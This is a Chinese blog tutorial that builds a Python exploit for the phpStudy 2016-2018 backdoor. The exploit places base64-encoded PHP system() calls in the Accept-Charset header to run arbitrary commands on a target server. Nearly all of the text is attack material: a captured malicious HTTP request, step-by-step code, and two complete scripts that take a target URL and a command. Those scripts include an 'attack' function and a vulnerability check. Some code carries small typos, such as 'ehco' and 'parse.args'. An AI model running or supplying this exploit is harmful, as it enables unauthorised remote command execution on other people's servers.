文章目录
- 编写过程
- 脚本优化
编写过程
关于phpstudy 2016-2018 RCE漏洞的验证,请移步我的这篇博客 phpstudy2016 RCE漏洞验证。
将之前漏洞验证的数据包复制下来,编写脚本时需要使用:
GET /phpinfo.php HTTP/1.1
Host: 10.9.75.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.9.75.164/
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
Accept-Encoding:gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8u2538icnljkbrojp7st99imq3
Connection: close
将数据包中的User-Agent字段、Accept-Encoding字段、Accept-Charset写成一个headers字典:
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset":"c3lzdGVtKCdpcGNvbmZpZycpOw=="
}
如果想执行由用户输入的任意代码,就要用base64模块给命令做编码,并添加一个cmd变量,替换Accept-Charset的内容,下面以whoami为例:
.b64encode(cmd.encode()).decode()将cmd用.encode方法转成二进制对象,然后.base64encode方法将它编码(加密) 并返回
bytes
对象,最后.decode方法返回字符串
import base64
cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset": cmd
}
用requests模块发送数据包并接收,用正则表达式从输出中过滤出命令注入后的回显:
import requests
res = requests.get(url= url, headers= headers)
print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])
然后用sys模块接收用户想要执行RCE的url地址:
import sys
url= sys.argv[1]
如果用户未输入URL,这时会报错,所以需要j将上述代码做一个异常处理,提示用户正确输入URL:
import sys
try:
url= sys.argv[1]
except:
print("[+] Usage:python*.py [please input url]")
exit()
下面是完整脚本:
# phpstudy_2016-2018 rce backdoor.py
import base64
import requests
import sys
try:
url= sys.argv[1]
except:
print("[+] Usage:python*.py [please input url]")
exit()
cmd="whoami"
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset": cmd
}
res = requests.get(url= url, headers= headers)
print(res.text[:res.text.find("<!DOCTYPE html PUBLIC")])
如下图,不输入url后会报错,提示用户正确输入:
加上URL后可以看到whoami命令被成功执行:
脚本优化
1.加上选项,无选项时,输出banner信息
a.创建选项解析对象
-u/–url 指定检测目标
-c/-- command 要执行的命令 b.设定选项
c.解析选项对象
2.漏洞检测:无损检测
3.漏洞利用:执行任意命令
脚本优化可以从上面三点入手,给脚本加上选项需要用到argparse模块,并分三个小步骤,加上一个没有解析对象时输出的banner信息,用if not args.url判断,没有url对象时输出banner:
import argparse
banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.4.7.128/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',heLp='指定检测目标',dest="url")
parser.add_argument('-c','--command',help='要执行的命令',dest="cmd")
# 解析选项对象
args= parser.parse.args()
if not args.url:
print(banner)
exit()
如果有url信息,就执行下面代码:
url= args.url
cmd= args.cmd
print(f"[+] Target: (url}")
print(f"[+] Cmd: (cmd}")
verify()
print(attack(cmd))
下面是漏洞验证代码,原理和漏洞利用的过程大致相同,例如将执行的命令换成一段非命令字符EMT,如果该字符在结果中出现,就输出该url存在漏洞,在这里可以用代码生成一段随机字符,这在我之前的博客 随机密码生成器 中有过详解:
如果用string.printable生成的特殊字符串在Windows输出命令echo中有被转义的风险,所以这里用ascii_letters
import string
import random
random_str= ""
for i in range(16):
random_str += random.choice(string.ascii_letters)
cmd= f"ehco( '{random_str}');"
if random_str in result:
print(f"[*] Target {url} is RCE VULNERRABLE!")
else:
print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
将上述代码封装成一个名叫verify的函数:
import string
import random
def verify():
random_str= ""
for i in range(16):
random_str += random.choice(string.ascii_letters)
cmd= f"ehco( '{random_str}');"
if random_str in attack(cmd):
print(f"[*] Target {url} is RCE VULNERRABLE!")
else:
print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
exit()
将之前漏洞利用的代码写成attack攻击函数:
.content.decode方法让返回值中文不会乱码
def attack(cmd):
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset": cmd
}
res = requests.get(url= url, headers= headers)
result= res.content.decode("gb2312")
result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
return result
下面是完整脚本:
import requests
import string
import random
import base64
import argparse
def attack(cmd):
cmd= f"system( '{cmd}');"
cmd=base64.b64encode(cmd.encode()).decode()
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)",
"Accept-Encoding":"gzip,deflate",
"Accept-Charset": cmd
}
res = requests.get(url= url, headers= headers)
result= res.content.decode("gb2312")
result= res.text[:res.text.find("<!DOCTYPE html PUBLIC")]
return result
def verify():
random_str= ""
for i in range(16):
random_str += random.choice(string.ascii_letters)
cmd= f"ehco( '{random_str}');"
if random_str in attack(cmd):
print(f"[*] Target {url} is RCE VULNERRABLE!")
else:
print(f"[*] Target {url} is NOT RCE VULNERRABLE!")
exit()
banner="""
-------------------------------------------------------
Usage: python3 *.py -u http://10.9.75.164/phpinfo.php -c whoami
-------------------------------------------------------
"""
# 创建选项对象
parser = argparse.ArgumentParser()
#设定选项
parser.add_argument('-u','--url',dest="url")
parser.add_argument('-c','--command',dest="cmd")
# 解析选项对象
args= parser.parse_args()
if not args.url:
print(banner)
exit()
url= args.url
cmd= args.cmd
print(f"[+] Target: {url}")
print(f"[+] Cmd: {cmd}")
verify()
print(attack(cmd))
执行结果如下,在这里可以执行任意代码:
如果缺少参数,就会体现正确的输入方法: